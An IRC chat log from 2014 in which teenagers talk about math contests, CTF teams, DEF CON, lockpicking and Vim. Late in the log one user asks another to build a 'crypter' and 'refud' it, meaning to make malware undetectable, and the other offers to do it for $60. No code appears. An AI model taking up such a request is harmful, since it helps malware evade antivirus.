[2014-11-22T22:27:44-0500] <Tam> usually, I can see people's faces
[2014-11-22T22:27:44-0500] <Tam> i mean
[2014-11-22T22:27:51-0500] <+LittleBobbyTables> lol
[2014-11-22T22:27:51-0500] <Tam> alokpathy thought he was tall
[2014-11-22T22:27:54-0500] <Tam> and alok is not short
[2014-11-22T22:28:00-0500] <+LittleBobbyTables> How tall is he?
[2014-11-22T22:28:03-0500] <JacobEdelman> Tam: so, how'd my team do at pumac?
[2014-11-22T22:28:04-0500] <Tam> also i went and bought a crypto book because fun
[2014-11-22T22:28:10-0500] <Tam> JacobEdelman: well, TJ A won so
[2014-11-22T22:28:14-0500] <Tam> screw you wwp kids
[2014-11-22T22:28:15-0500] <Tam> :P
[2014-11-22T22:28:15-0500] <JacobEdelman> won what?
[2014-11-22T22:28:18-0500] <JacobEdelman> everything?
[2014-11-22T22:28:20-0500] <Tam> won everythng
[2014-11-22T22:28:22-0500] <JacobEdelman> overall?
[2014-11-22T22:28:23-0500] <Tam> team power overall
[2014-11-22T22:28:30-0500] <Tam> we
[2014-11-22T22:28:31-0500] <Tam> re 
[2014-11-22T22:28:34-0500] <Tam> pretty cool
[2014-11-22T22:28:35-0500] <JacobEdelman> wait, 1st place in a division? 
[2014-11-22T22:28:39-0500] <Tam> mhm
[2014-11-22T22:28:39-0500] <JacobEdelman> which team, a or b?
[2014-11-22T22:28:43-0500] <Tam> A
[2014-11-22T22:28:46-0500] <Tam> TJA
[2014-11-22T22:28:47-0500] <JacobEdelman> wow
[2014-11-22T22:28:51-0500] <JacobEdelman> you guys too smart
[2014-11-22T22:28:53-0500] <Tam> as in we wrecked wwp hard
[2014-11-22T22:28:55-0500] <Tam> :P
[2014-11-22T22:29:00-0500] <JacobEdelman> I blame the loss of ernest, berger, and ben
[2014-11-22T22:29:04-0500] <JacobEdelman> its their fault
[2014-11-22T22:29:17-0500] <JacobEdelman> how'd the b division ww-p do?
[2014-11-22T22:30:42-0500] <~awe> JacobEdelman: wasn't that you?
[2014-11-22T22:30:47-0500] <JacobEdelman> awe: yes
[2014-11-22T22:30:53-0500] <Tam> uhh
[2014-11-22T22:30:56-0500] <Tam> b div awards were
[2014-11-22T22:30:56-0500] <~awe> How do you not know how you did?
[2014-11-22T22:30:57-0500] <Tam> somewhere else
[2014-11-22T22:30:57-0500] <JacobEdelman> awe: i ditched the 2nd half of pumac to see scot aaronson talk
[2014-11-22T22:31:00-0500] <~awe> Oh.
[2014-11-22T22:31:00-0500] <~awe> Okay.
[2014-11-22T22:31:05-0500] <JacobEdelman> cause, hes awesome
[2014-11-22T22:31:06-0500] <Tam> JacobEdelman, it was prooobably worth
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[2014-11-22T22:31:37-0500] <JacobEdelman> alokpatyh: scott aaronson was awesome
[2014-11-22T22:32:01-0500] <alokpathy> Wow
[2014-11-22T22:32:03-0500] <JacobEdelman> alokpathy: me and ben satyed after his talk to talk tohim, at one point it was just him and us in the room
[2014-11-22T22:32:06-0500] <alokpathy> IRCCloud
[2014-11-22T22:32:09-0500] <alokpathy> randomly started working
[2014-11-22T22:32:09-0500] <JacobEdelman> discussing stuff
[2014-11-22T22:32:10-0500] <alokpathy> okay
[2014-11-22T22:32:18-0500] <JacobEdelman> you missed such awesome
[2014-11-22T22:32:23-0500] <alokpathy> SAy it again.
[2014-11-22T22:32:30-0500] <JacobEdelman> alokpathy: me and ben satyed after his talk to talk tohim, at one point it was just him and us in the room
[2014-11-22T22:32:37-0500] <JacobEdelman> *him=scott aaronson
[2014-11-22T22:32:38-0500] <Tam> damnn
[2014-11-22T22:32:41-0500] <JacobEdelman> he gave an amazing talk
[2014-11-22T22:32:51-0500] <Tam> stop making me jealous
[2014-11-22T22:32:55-0500] <Tam> find me a video of the talk
[2014-11-22T22:32:56-0500] <alokpathy> stahp it
[2014-11-22T22:32:56-0500] <Tam> well i mean
[2014-11-22T22:33:00-0500] <Tam> i sat next to him during the first lecture
[2014-11-22T22:33:02-0500] <Tam> am i cool yet
[2014-11-22T22:33:03-0500] <alokpathy> JacobEdelman: Tell us every detail
[2014-11-22T22:33:12-0500] <JacobEdelman> alokpathy: gtg, :P
[2014-11-22T22:33:45-0500] <Tam> wow JacobEdelman 
[2014-11-22T22:33:53-0500] <Tam> well i got a selfie with apothy so i'm okay
[2014-11-22T22:33:54-0500] <Tam> :P
[2014-11-22T22:35:35-0500] <alokpathy> Mhm
[2014-11-22T22:36:15-0500] <alokpathy> We also talked with Tim Roughgarden.
[2014-11-22T22:37:28-0500] <alokpathy> Also, apparently Alex Lin was there
[2014-11-22T22:37:33-0500] <alokpathy> Minna was there. 
[2014-11-22T22:37:36-0500] <alokpathy> And so was Mark.
[2014-11-22T22:46:21-0500] <~awe> Okay then.
[2014-11-22T22:46:27-0500] <~awe> Let's just pretend I know who these people are.
[2014-11-22T22:46:29-0500] <~awe> Any of them.
[2014-11-22T22:47:34-0500] <Tam> lol
[2014-11-22T22:47:46-0500] <Tam> I think they were alok and jacob's friends from the summer
[2014-11-22T22:47:57-0500] <Tam> we basically saw famous people
[2014-11-22T22:47:59-0500] <Tam> fangirled
[2014-11-22T22:48:01-0500] <Tam> and that was that
[2014-11-22T22:48:05-0500] <~awe> I don't know who Scott Aaronson is.
[2014-11-22T22:48:26-0500] <~awe> Okay.
[2014-11-22T22:48:33-0500] <~awe> Calling an MIT professor famous is a gross overstatement.
[2014-11-22T22:49:27-0500] <Tam> not famous, necessarily
[2014-11-22T22:49:34-0500] <Tam> but he did actual interesting research
[2014-11-22T22:49:44-0500] <alokpathy> awe: Famous within the theoretical CS community
[2014-11-22T22:50:13-0500] <~awe> Famous within a niche subset of an already small community is not famous.
[2014-11-22T22:50:32-0500] <~awe> He's an MIT professor.
[2014-11-22T22:51:40-0500] <alokpathy> Well, well-known in that community
[2014-11-22T22:51:42-0500] <alokpathy> that sort of thing
[2014-11-22T22:51:57-0500] <~awe> Right, but it's like calling Simon Peyton Jones fmaous.
[2014-11-22T22:51:58-0500] <~awe> famous&
[2014-11-22T22:51:59-0500] <~awe> **
[2014-11-22T22:52:08-0500] <~awe> Being well-known within a community and fame are different things.
[2014-11-22T22:53:23-0500] <Tam> okay, awe :P
[2014-11-22T22:53:35-0500] <~awe> Basically, he's not Kim Kardashian.
[2014-11-22T22:53:50-0500] <Tam> is that a bad thing
[2014-11-22T22:53:52-0500] <~awe> No.
[2014-11-22T22:55:46-0500] <+LittleBobbyTables> Has she done anything to be famous besides a sex tape?
[2014-11-22T22:55:59-0500] <~awe> Her television show?
[2014-11-22T22:56:21-0500] <+LittleBobbyTables> The one she made because of her sisters, after everyone already knew her name?
[2014-11-22T22:58:55-0500] <~awe> Yeah.
[2014-11-22T22:59:14-0500] <~awe> She wasn't made famous by anything other than the fact that she had a sex tape with someone who was famous.
[2014-11-22T23:04:47-0500] <+LittleBobbyTables> Don't you just love it when people send you non-crypted .NET viruses?
[2014-11-22T23:16:35-0500] <~awe> LittleBobbyTables: Only when they write it in F#.
[2014-11-22T23:20:15-0500] <+LittleBobbyTables> It's C#
[2014-11-22T23:20:21-0500] <+LittleBobbyTables> Obfuscated with a trial version of CodeWall
[2014-11-22T23:20:36-0500] <+LittleBobbyTables> Ergo, completely easy to decompile
[2014-11-22T23:21:09-0500] <+LittleBobbyTables> You wanna play around with it?
[2014-11-22T23:36:43-0500] <~awe> LittleBobbyTables: want to send me $60 of paypal cash?
[2014-11-22T23:37:27-0500] <~awe> LittleBobbyTables: It'll be put to a good use. (Aiding my consumption of weed after my friend broke my vape)
[2014-11-22T23:39:53-0500] <+LittleBobbyTables> That's a terrible reason
[2014-11-22T23:39:58-0500] <Tam> LOL
[2014-11-22T23:40:03-0500] <~awe> I'll program something for you?
[2014-11-22T23:40:08-0500] <+LittleBobbyTables> Actually it's a great reason.
[2014-11-22T23:40:10-0500] <+LittleBobbyTables> But, still.
[2014-11-22T23:40:12-0500] <~awe> As long as it's small enough as to be worth $60.
[2014-11-22T23:40:33-0500] <+LittleBobbyTables> Make something that'll make me millions of dollars, I'll pay you the 60 and 1% of my earnings.
[2014-11-22T23:40:36-0500] <~awe> I just really want this, don't want to go on Freelancer, and don't know when I'm going to have an income. .-.
[2014-11-22T23:40:42-0500] <Tam> wait, awe.
[2014-11-22T23:40:51-0500] <Tam> aren't you working for that startup still?
[2014-11-22T23:40:52-0500] <Tam> or no
[2014-11-22T23:40:55-0500] <~awe> I am.
[2014-11-22T23:41:32-0500] <~awe> I just keeping getting a Soon™.
[2014-11-22T23:42:25-0500] <+LittleBobbyTables> idk what I would want you to program that's small enough :3
[2014-11-22T23:42:41-0500] <~awe> You could donate it out of the kindness of your heart. ;)
[2014-11-22T23:42:41-0500] <+LittleBobbyTables> Or big enough
[2014-11-22T23:42:54-0500] <+LittleBobbyTables> What kindness?
[2014-11-22T23:42:59-0500] <~awe> You're a kind soul.
[2014-11-22T23:43:02-0500] <~awe> You helped me set up Vim.
[2014-11-22T23:43:28-0500] <+LittleBobbyTables> Nahh
[2014-11-22T23:43:29-0500] <+LittleBobbyTables> Google did
[2014-11-22T23:43:40-0500] <~awe> You are Google.
[2014-11-22T23:43:49-0500] <Tam> lbt is google
[2014-11-22T23:43:50-0500] <Tam> ?
[2014-11-22T23:43:51-0500] <Tam> o-o
[2014-11-22T23:44:24-0500] <~awe> Apparently.
[2014-11-22T23:48:34-0500] <+LittleBobbyTables> I didn't know that :/
[2014-11-22T23:48:50-0500] <~awe> Why is it so hard to just get free money? D:
[2014-11-22T23:49:13-0500] <+LittleBobbyTables> Well, no, it's easy.
[2014-11-22T23:49:17-0500] <+LittleBobbyTables> Granted, it's illegal
[2014-11-22T23:49:26-0500] <Tam> lol
[2014-11-22T23:49:53-0500] <+LittleBobbyTables> But not difficult.
[2014-11-22T23:50:58-0500] <~awe> LittleBobbyTables: Why is it so difficult to coerce you into giving me free money?
[2014-11-22T23:51:21-0500] <alokpathy> Imma go sleep
[2014-11-22T23:51:23-0500] <alokpathy> g'night guys
[2014-11-22T23:51:23-0500] <~awe> LittleBobbyTables: Can I repay you in selfies of me and Tam?
[2014-11-22T23:51:27-0500] <~awe> alokpathy: good night.
[2014-11-22T23:51:43-0500] <alokpathy> awe: Oh btw IRCCloud works with pdgn and me now
[2014-11-22T23:51:46-0500] <alokpathy> randomly
[2014-11-22T23:51:51-0500] <alokpathy> I didn't do anything different
[2014-11-22T23:51:59-0500] <~awe> I don't know what was up with that.
[2014-11-22T23:52:07-0500] <alokpathy> [shrugs]
[2014-11-22T23:52:09-0500] <alokpathy> Works now
[2014-11-22T23:52:12-0500] <alokpathy> which is goo
[2014-11-22T23:52:14-0500] <+LittleBobbyTables> No, you can't.
[2014-11-22T23:52:16-0500] <+LittleBobbyTables> Sorry, awe.
[2014-11-22T23:52:24-0500] <alokpathy> Alright. G'night
[2014-11-22T23:52:27-0500] • alokpathy: shuffles off to be
[2014-11-22T23:52:27-0500] <+LittleBobbyTables> Do what I did, sell pictures of celebrities for money.
[2014-11-22T23:52:27-0500] <alokpathy> d
[2014-11-22T23:53:19-0500] <Tam> lolol
[2014-11-22T23:53:21-0500] <Tam> wait
[2014-11-22T23:53:24-0500] <Tam> awe: we have selfies together?
[2014-11-22T23:53:39-0500] <Tam> i only have selfies with alokpathy, last time i checked
[2014-11-22T23:53:50-0500] <+LittleBobbyTables> He never said togehter.
[2014-11-22T23:53:56-0500] <+LittleBobbyTables> :s/together/together
[2014-11-22T23:54:27-0500] <Tam> oh, true
[2014-11-22T23:56:54-0500] <~awe> LittleBobbyTables: how hard is it to transfer a wordpress install from one server to another?
[2014-11-22T23:57:43-0500] <+LittleBobbyTables> Am I just your google now
[2014-11-22T23:58:29-0500] <~awe> Lol, no.
[2014-11-22T23:58:36-0500] <~awe> I was trying to figure out if I should apply for this Freelancer job.
[2014-11-22T23:58:41-0500] <~awe> But then I realized how convoluted Freelancer is.
[2014-11-22T23:58:43-0500] <+LittleBobbyTables> It's easy.
[2014-11-22T23:58:50-0500] <+LittleBobbyTables> http://www.siteground.com/tutorials/wordpress/transfer-wordpress/
[2014-11-23T00:06:15-0500] <~awe> (a * 100) / b > 40 
[2014-11-23T00:06:22-0500] <~awe> LittleBobbyTables: that's a good way to check that a is more than 40% of b, right?
[2014-11-23T00:08:13-0500] <+LittleBobbyTables> Hmm
[2014-11-23T00:08:35-0500] <+LittleBobbyTables> Pretty sure
[2014-11-23T00:08:59-0500] <+LittleBobbyTables> Unless 0<b<1?
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[2014-11-23T00:09:36-0500] <~awe> b is definitely >= 1
[2014-11-23T00:09:57-0500] <+LittleBobbyTables> Then yeah, should be good.
[2014-11-23T00:10:27-0500] <+LittleBobbyTables> Actually uhh
[2014-11-23T00:10:50-0500] <+LittleBobbyTables> No
[2014-11-23T00:11:08-0500] <~awe> Why not?
[2014-11-23T00:11:13-0500] <+LittleBobbyTables> 101*100=10100/100=101, 101>40, 101-->100
[2014-11-23T00:11:53-0500] <~awe> ?
[2014-11-23T00:11:57-0500] <~awe> That makes sense.
[2014-11-23T00:12:05-0500] <~awe> 101 is 101% of 100.
[2014-11-23T00:12:21-0500] <+LittleBobbyTables> Oh I was thinking of it weirdly.
[2014-11-23T00:12:28-0500] <+LittleBobbyTables> I was thinking x% increase.
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[2014-11-23T00:23:36-0500] <~awe> hi Tamini 
[2014-11-23T00:23:49-0500] <Tamini> hi awe
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[2014-11-23T00:24:37-0500] <~awe> Hmm, I think I may be done with the data-side of Democracy.
[2014-11-23T00:25:15-0500] <+LittleBobbyTables> Tamini, why don't I have selfies?
[2014-11-23T00:25:27-0500] <Tamini> ?
[2014-11-23T00:25:32-0500] <~awe> You can make a proposal, vote on a proposal, get the result of a proposal, and enact a proposal.
[2014-11-23T00:25:42-0500] <~awe> The enacting isn't really data-side, but that's okay.
[2014-11-23T00:26:53-0500] <nezorg> i don't have selfies with Tamini
[2014-11-23T00:27:04-0500] <~awe> I want to take selfies with Tamini at PennApps.
[2014-11-23T00:28:35-0500] <+LittleBobbyTables> Tamini: let's take selfies at Defcon
[2014-11-23T00:29:53-0500] <nezorg> everybody: let's take selfies wherever we see each other
[2014-11-23T00:30:15-0500] <nezorg> Tamini: why couldn't you get top 3 in pico :'(
[2014-11-23T00:30:20-0500] <+LittleBobbyTables> No but see, if you say "at XXX" that means that person has to go there in order to take selfies.
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[2014-11-23T00:38:54-0500] <~awe> nezorg: I want to meet you at some point.
[2014-11-23T00:39:11-0500] <~awe> In meatspace, that is.
[2014-11-23T00:39:13-0500] <nezorg> That would be cool, yes.
[2014-11-23T00:39:23-0500] <Tamini> im sorry im not good enough
[2014-11-23T00:39:30-0500] <Tamini> you're the one that left before i could selfie
[2014-11-23T00:39:37-0500] <Tamini> also darn you should've penapps'd then
[2014-11-23T00:39:46-0500] <Tamini> that seems to be the consensus for best place to reu
[2014-11-23T00:39:51-0500] <nezorg> i don't even know what that is
[2014-11-23T00:39:52-0500] <~awe> It's happening.
[2014-11-23T00:40:03-0500] <~awe> A glorious reunion between me, you, JacobEdelman, and alokpathy.
[2014-11-23T00:40:04-0500] <Tamini> nezorg: if you want to see me
[2014-11-23T00:40:06-0500] <Tamini> do math competitions
[2014-11-23T00:40:07-0500] <Tamini> ez
[2014-11-23T00:40:17-0500] <Tamini> awe: oh i got a selfie with alok, did he brag yet
[2014-11-23T00:40:26-0500] <~awe> No, but you did.
[2014-11-23T00:40:27-0500] <~awe> Twice.
[2014-11-23T00:40:35-0500] <+LittleBobbyTables> Tamini, are we gonna selfie at defcon
[2014-11-23T00:40:51-0500] <Tamini> i meant show you
[2014-11-23T00:40:57-0500] <Tamini> and LittleBobbyTables if i go, sure
[2014-11-23T00:41:08-0500] <Tamini> nezorg: is probably going to ctf again, right?
[2014-11-23T00:41:21-0500] <nezorg> probably yes
[2014-11-23T00:41:31-0500] <Tamini> (also jburket did say something about trying to get us a trip since we finished...)
[2014-11-23T00:41:44-0500] <Tamini> probably not worth getting hopes up for, but thats a thing
[2014-11-23T00:41:46-0500] <nezorg> ah, cool!
[2014-11-23T00:41:55-0500] <~awe> Does vim have a redo?
[2014-11-23T00:42:10-0500] <nezorg> Tamini: maybe i could help sway them...
[2014-11-23T00:42:18-0500] <~awe> It does. Okay.
[2014-11-23T00:42:25-0500] <Tamini> yes please
[2014-11-23T00:42:26-0500] <Tamini> <3
[2014-11-23T00:42:33-0500] <Tamini> i think this is your fault
[2014-11-23T00:42:39-0500] <Tamini> flying you from cali is expensive
[2014-11-23T00:42:47-0500] <nezorg> mmm true
[2014-11-23T00:42:49-0500] <Tamini> gosh why are you from cali and not from like pittsburg :P
[2014-11-23T00:42:52-0500] <+LittleBobbyTables> Tamini: you should definitely go to Defcon.
[2014-11-23T00:43:00-0500] <Tamini> i need someone to take me
[2014-11-23T00:43:03-0500] <Tamini> its like cross country
[2014-11-23T00:43:06-0500] <+LittleBobbyTables> Have nezorg take you
[2014-11-23T00:43:07-0500] <nezorg> and learn how to pick locks!
[2014-11-23T00:43:14-0500] <+LittleBobbyTables> Picking locks is ez
[2014-11-23T00:43:22-0500] <nezorg> yes, but it's fun!
[2014-11-23T00:43:36-0500] <nezorg> because people actually think they're secure, lol
[2014-11-23T00:44:20-0500] <nezorg> ^ security in a nutshell
[2014-11-23T00:44:23-0500] <+LittleBobbyTables> nezorg, check out this sweet lock
[2014-11-23T00:44:30-0500] <+LittleBobbyTables> Once youtube opens
[2014-11-23T00:44:32-0500] <+LittleBobbyTables> I'll have the link
[2014-11-23T00:44:36-0500] <+LittleBobbyTables> http://www.youtube.com/watch?v=1ey2SFHbZV8
[2014-11-23T00:44:39-0500] <nezorg> okey dokey
[2014-11-23T00:44:41-0500] <Tamini> im pretty sure
[2014-11-23T00:44:46-0500] <Tamini> lockpicks are legal here
[2014-11-23T00:44:53-0500] <Tamini> hey nezorg, you seem trustworthy
[2014-11-23T00:45:02-0500] <Tamini> im sure my parents will trust you to take care of me at vegas :P
[2014-11-23T00:45:22-0500] <+LittleBobbyTables> Say that you know an adult that's going
[2014-11-23T00:46:04-0500] <nezorg> LittleBobbyTables: oh, there was a company selling locks sorta like that at defcon :P
[2014-11-23T00:46:21-0500] <+LittleBobbyTables> Yeah, this lock is sexy
[2014-11-23T00:46:31-0500] <Tamini> i really want a set of lockpicks
[2014-11-23T00:46:37-0500] <Tamini> and some locks to pick
[2014-11-23T00:46:40-0500] <nezorg> they're cheap
[2014-11-23T00:46:40-0500] <Tamini> it just sounds so fun
[2014-11-23T00:46:44-0500] <Tamini> i know, but illegal
[2014-11-23T00:46:46-0500] <Tamini> :P
[2014-11-23T00:47:01-0500] <nezorg> [21:44] (Tamini) lockpicks are legal here
[2014-11-23T00:47:11-0500] <+LittleBobbyTables> Meet Kevin Mitnick
[2014-11-23T00:47:15-0500] <+LittleBobbyTables> And get his business card
[2014-11-23T00:47:27-0500] <Tamini> not in virginia
[2014-11-23T00:47:39-0500] <Tamini> at least james said so when i asked him to get me some for my birthday
[2014-11-23T00:47:55-0500] <+LittleBobbyTables> Just get them anyway
[2014-11-23T00:47:55-0500] <nezorg> LittleBobbyTables: you know a popular saying a defcon some years back was "fuck kevin", right?
[2014-11-23T00:48:09-0500] <+LittleBobbyTables> They're legal as long as you don't actually use them
[2014-11-23T00:48:18-0500] <+LittleBobbyTables> nezorg: that doesn't mean he doesn't have a sexy business card
[2014-11-23T00:48:42-0500] <nezorg> LittleBobbyTables: you should see the creator of the HackRF's business "cards"
[2014-11-23T00:49:00-0500] <Tamini> lolol
[2014-11-23T00:49:09-0500] <nezorg> they're PCB ninja stars that you can solder into an ethernet tapper
[2014-11-23T00:49:15-0500] <Tamini> hey LittleBobbyTables, wanna get me some ;)
[2014-11-23T00:49:18-0500] <Tamini> and nezorg wut
[2014-11-23T00:49:27-0500] <nezorg> yup
[2014-11-23T00:49:32-0500] <+LittleBobbyTables> Kevin Mitnick's is lockpicks
[2014-11-23T00:49:34-0500] <nezorg> he gave them out at csaw last year
[2014-11-23T00:49:43-0500] <Tamini> wtf
[2014-11-23T00:49:45-0500] <nezorg> (hackrf guy that is)
[2014-11-23T00:49:48-0500] <Tamini> why did i not csaw last year
[2014-11-23T00:49:57-0500] <Tamini> why do you know cool things i dont know about darn :<
[2014-11-23T00:50:04-0500] <nezorg> ...they also gave them out at defcon kids :P
[2014-11-23T00:50:07-0500] <Tamini> :P
[2014-11-23T00:50:15-0500] <nezorg> (also defcon kids was giving out chromebooks, woot)
[2014-11-23T00:50:18-0500] <+LittleBobbyTables> nezorg: are you doing that one ctf next week?
[2014-11-23T00:50:24-0500] <Tamini> also guys, irrelevant, but i need advice
[2014-11-23T00:50:28-0500] <nezorg> LittleBobbyTables: which?
[2014-11-23T00:50:31-0500] <Tamini> and damn o.o
[2014-11-23T00:50:33-0500] <+LittleBobbyTables> Don't remember
[2014-11-23T00:50:37-0500] <Tamini> im not actually sure
[2014-11-23T00:50:38-0500] <+LittleBobbyTables> The one that starts the 29th
[2014-11-23T00:50:41-0500] <Tamini> if easyctf is happening
[2014-11-23T00:50:45-0500] <Tamini> because michael's working along
[2014-11-23T00:50:47-0500] <+LittleBobbyTables> on ctftime
[2014-11-23T00:50:47-0500] <Tamini> alone*
[2014-11-23T00:50:52-0500] <Tamini> oh
[2014-11-23T00:50:55-0500] <Tamini> is that uh
[2014-11-23T00:51:20-0500] <+LittleBobbyTables> Security Society
[2014-11-23T00:51:21-0500] <nezorg> oh, 9447?
[2014-11-23T00:51:29-0500] <+LittleBobbyTables> yeah
[2014-11-23T00:51:32-0500] <nezorg> I'll probably play with shellphish
[2014-11-23T00:51:37-0500] <Tamini> oh dang that's actually during break
[2014-11-23T00:51:42-0500] <Tamini> nezorg: do you basically have
[2014-11-23T00:51:47-0500] <Tamini> 3 distinct teams to ctf with
[2014-11-23T00:51:50-0500] <+LittleBobbyTables> How'd you come up with the name 1064c bread
[2014-11-23T00:51:57-0500] <nezorg> Tamini: yeah :P
[2014-11-23T00:52:03-0500] <+LittleBobbyTables> Also, Tamini, why is "Shark Fins" a team on ctftime lol
[2014-11-23T00:52:16-0500] <Tamini> LittleBobbyTables: because we played several college ctfs iirc
[2014-11-23T00:52:23-0500] <Tamini> we got third at mitre
[2014-11-23T00:52:25-0500] <+LittleBobbyTables> Only one person is on the team though
[2014-11-23T00:52:30-0500] <nezorg> LittleBobbyTables: 1064°C = 1337K, and the name of our first ctf was toaster wars
[2014-11-23T00:52:33-0500] <Tamini> yea, mkramer only registered himself
[2014-11-23T00:52:39-0500] <+LittleBobbyTables> Makes sense, to both.
[2014-11-23T00:52:45-0500] <Tamini> wait so
[2014-11-23T00:52:56-0500] <Tamini> i was right to refer to you guys as "bread toast or whatever"
[2014-11-23T00:52:58-0500] <Tamini> :P
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[2014-11-23T00:59:04-0500] <Tamini> wait but guys
[2014-11-23T00:59:07-0500] <Tamini> pls gib advice
[2014-11-23T00:59:32-0500] <Tamini> how do i wake up at 4:30 monday morning without waking up my roommates
[2014-11-23T01:00:51-0500] <+LittleBobbyTables> http://www.youtube.com/watch?v=mLp_rSBzteI&feature=youtu.be
[2014-11-23T01:01:02-0500] <+LittleBobbyTables> Fall asleep at like 10, Tamini
[2014-11-23T01:01:16-0500] <Tamini> well yeah but
[2014-11-23T01:01:20-0500] <Tamini> a more foolproof method?
[2014-11-23T01:01:43-0500] <+LittleBobbyTables> Put your alarm on vibrate
[2014-11-23T01:01:48-0500] <+LittleBobbyTables> And put it in your pillow case
[2014-11-23T01:01:51-0500] <Tamini> uhh
[2014-11-23T01:01:53-0500] <Tamini> i share a bed
[2014-11-23T01:01:57-0500] <Tamini> with a person
[2014-11-23T01:02:51-0500] <+LittleBobbyTables> Well then plug in headphones and try not to move too much
[2014-11-23T01:05:32-0500] <~awe> Yeah, lockpicks are legal, breaking into someone's stuff is not.
[2014-11-23T01:05:49-0500] <Tamini> oh wait
[2014-11-23T01:05:50-0500] <+LittleBobbyTables> Hmm
[2014-11-23T01:05:54-0500] <Tamini> yeah earbuds +alarm
[2014-11-23T01:05:57-0500] <Tamini> smart, thanks
[2014-11-23T01:05:58-0500] <+LittleBobbyTables> Tor internet is working, but nothing else is...
[2014-11-23T01:06:10-0500] <+LittleBobbyTables> And now that I say that, it all starts working again.
[2014-11-23T01:08:02-0500] <nezorg> awe: if someone = yourself, it's legal
[2014-11-23T01:08:19-0500] <~awe> nezorg: Well, yes, obviously.
[2014-11-23T01:09:26-0500] <Tamini> how do you break into your stuff though
[2014-11-23T01:09:34-0500] <Tamini> doesnt that defy the definition of breaking in
[2014-11-23T01:09:38-0500] <+LittleBobbyTables> My principal tried using the "Hey, you have hack tools on your computer, which is illegal. It's like having lockpicks, it's illegal even if you don't use them"
[2014-11-23T01:10:04-0500] <nezorg> uh, having hack tools is illegal?
[2014-11-23T01:10:13-0500] <+LittleBobbyTables> Apparently
[2014-11-23T01:10:25-0500] <+LittleBobbyTables> They didn't do anything for it
[2014-11-23T01:10:30-0500] <nezorg> uh
[2014-11-23T01:10:31-0500] <+LittleBobbyTables> Just deleted all the shit I had on the network share
[2014-11-23T01:10:34-0500] <nezorg> src plz
[2014-11-23T01:10:35-0500] <+LittleBobbyTables> So I just reinstalled it all
[2014-11-23T01:10:57-0500] <Tamini> wait did i already tell you
[2014-11-23T01:11:04-0500] <Tamini> one of my friends got in trouble for "hacking"
[2014-11-23T01:11:08-0500] <nezorg> wat
[2014-11-23T01:11:12-0500] <Tamini> because his irc client looked too legit
[2014-11-23T01:11:20-0500] <Tamini> (im not kidding)
[2014-11-23T01:11:28-0500] <+LittleBobbyTables> screenie?
[2014-11-23T01:11:32-0500] <Tamini> he was on irc during english and his teacher tried to report him
[2014-11-23T01:11:41-0500] <nezorg> wat
[2014-11-23T01:11:44-0500] <~awe> LittleBobbyTables: It's not illegal lol
[2014-11-23T01:11:52-0500] <~awe> LittleBobbyTables: Not in the US, anyway.
[2014-11-23T01:11:52-0500] <Tamini> im pretty sure he uses like
[2014-11-23T01:11:55-0500] <Tamini> weechat too
[2014-11-23T01:12:07-0500] <+LittleBobbyTables> That's why I decided to share the story.
[2014-11-23T01:12:16-0500] <~awe> The funniest thing is how everybody always thought I was programming when I hate my terminal open.
[2014-11-23T01:12:21-0500] <+LittleBobbyTables> I got my friend in trouble for logging into a router.
[2014-11-23T01:12:31-0500] <~awe> Sitting there downloading a movie: programming.
[2014-11-23T01:12:39-0500] <~awe> Moving files: programming.
[2014-11-23T01:12:55-0500] <~awe> Oh, actually, worse was my netbook.
[2014-11-23T01:13:03-0500] <~awe> My netbook had Arch with Awesome WM.
[2014-11-23T01:13:07-0500] <+LittleBobbyTables> Have you made your own ls yet
[2014-11-23T01:13:08-0500] <~awe> So, it was a tiling wm.
[2014-11-23T01:13:10-0500] <+LittleBobbyTables> Just for fun
[2014-11-23T01:13:29-0500] <~awe> Doing literally anything: programming.
[2014-11-23T01:13:49-0500] <~awe> People thought luakit (my vim modal browser) was programming.
[2014-11-23T01:14:14-0500] <Tamini> lolol
[2014-11-23T01:14:17-0500] <Tamini> jesus
[2014-11-23T01:14:27-0500] <Tamini> well i mean you dont get reported for programming tho
[2014-11-23T01:14:30-0500] <Tamini> (thank god)
[2014-11-23T01:14:31-0500] <~awe> Nope.
[2014-11-23T01:14:35-0500] <+LittleBobbyTables> My friend got in trouble for LOICing the schools network.
[2014-11-23T01:14:35-0500] <~awe> But it was funny.
[2014-11-23T01:14:37-0500] <+LittleBobbyTables> During school.
[2014-11-23T01:14:49-0500] <~awe> People would stop me in study hall, and be like "yo, are you programming, bro?"
[2014-11-23T01:14:52-0500] <~awe> Sometimes, I would be.
[2014-11-23T01:14:54-0500] <~awe> I'd say "Yes."
[2014-11-23T01:14:59-0500] <~awe> They'd be like "Oh. Cool."
[2014-11-23T01:15:06-0500] <~awe> And I couldn't help but wonder why they felt the need to ask.
[2014-11-23T01:15:11-0500] <~awe> They didn't have anything to say.
[2014-11-23T01:15:14-0500] <~awe> They didn't ask what I was working on.
[2014-11-23T01:15:25-0500] <Tamini> lolol
[2014-11-23T01:15:34-0500] <+LittleBobbyTables> awe, make me a crypter
[2014-11-23T01:15:45-0500] <~awe> The people at Uni at least ask me what I'm working on.
[2014-11-23T01:15:50-0500] <~awe> LittleBobbyTables: as in a file encrypter?
[2014-11-23T01:15:52-0500] <~awe> LittleBobbyTables: for $60?
[2014-11-23T01:15:56-0500] <~awe> LittleBobbyTables: I'd do it.
[2014-11-23T01:16:03-0500] <+LittleBobbyTables> Uhh
[2014-11-23T01:16:11-0500] <+LittleBobbyTables> And if comes detected, refud it
[2014-11-23T01:16:12-0500] <+LittleBobbyTables> <3
[2014-11-23T01:16:32-0500] <~awe> By crypter did you mean cryptomalware?
[2014-11-23T01:16:35-0500] <~awe> cryptomalware&
[2014-11-23T01:16:37-0500] <~awe> **
[2014-11-23T01:16:39-0500] <~awe> Wait, I spelled it right.
[2014-11-23T01:16:40-0500] <~awe> Lol.
[2014-11-23T01:17:00-0500] <+LittleBobbyTables> No
[2014-11-23T01:17:11-0500] <~awe> Did you mean crypter the daemon\?
[2014-11-23T01:17:24-0500] <+LittleBobbyTables> brb watching a video of a plane landing itself without a pilot
[2014-11-23T01:17:58-0500] <Tamini> im confused at why lbt doesnt write these things himself
[2014-11-23T01:18:05-0500] <nezorg> awe: i get that too with xmonad :'(
[2014-11-23T01:18:06-0500] <~awe> Tamini: shhh.
[2014-11-23T01:18:10-0500] <~awe> Tamini: I need $$$.
[2014-11-23T01:18:20-0500] <~awe> nezorg: Everyone but me uses xmonad. :(
[2014-11-23T01:18:31-0500] <~awe> nezorg: It makes me feel less hax0r that I used lua instead of Haskell.
[2014-11-23T01:18:32-0500] <nezorg> <3 haskell
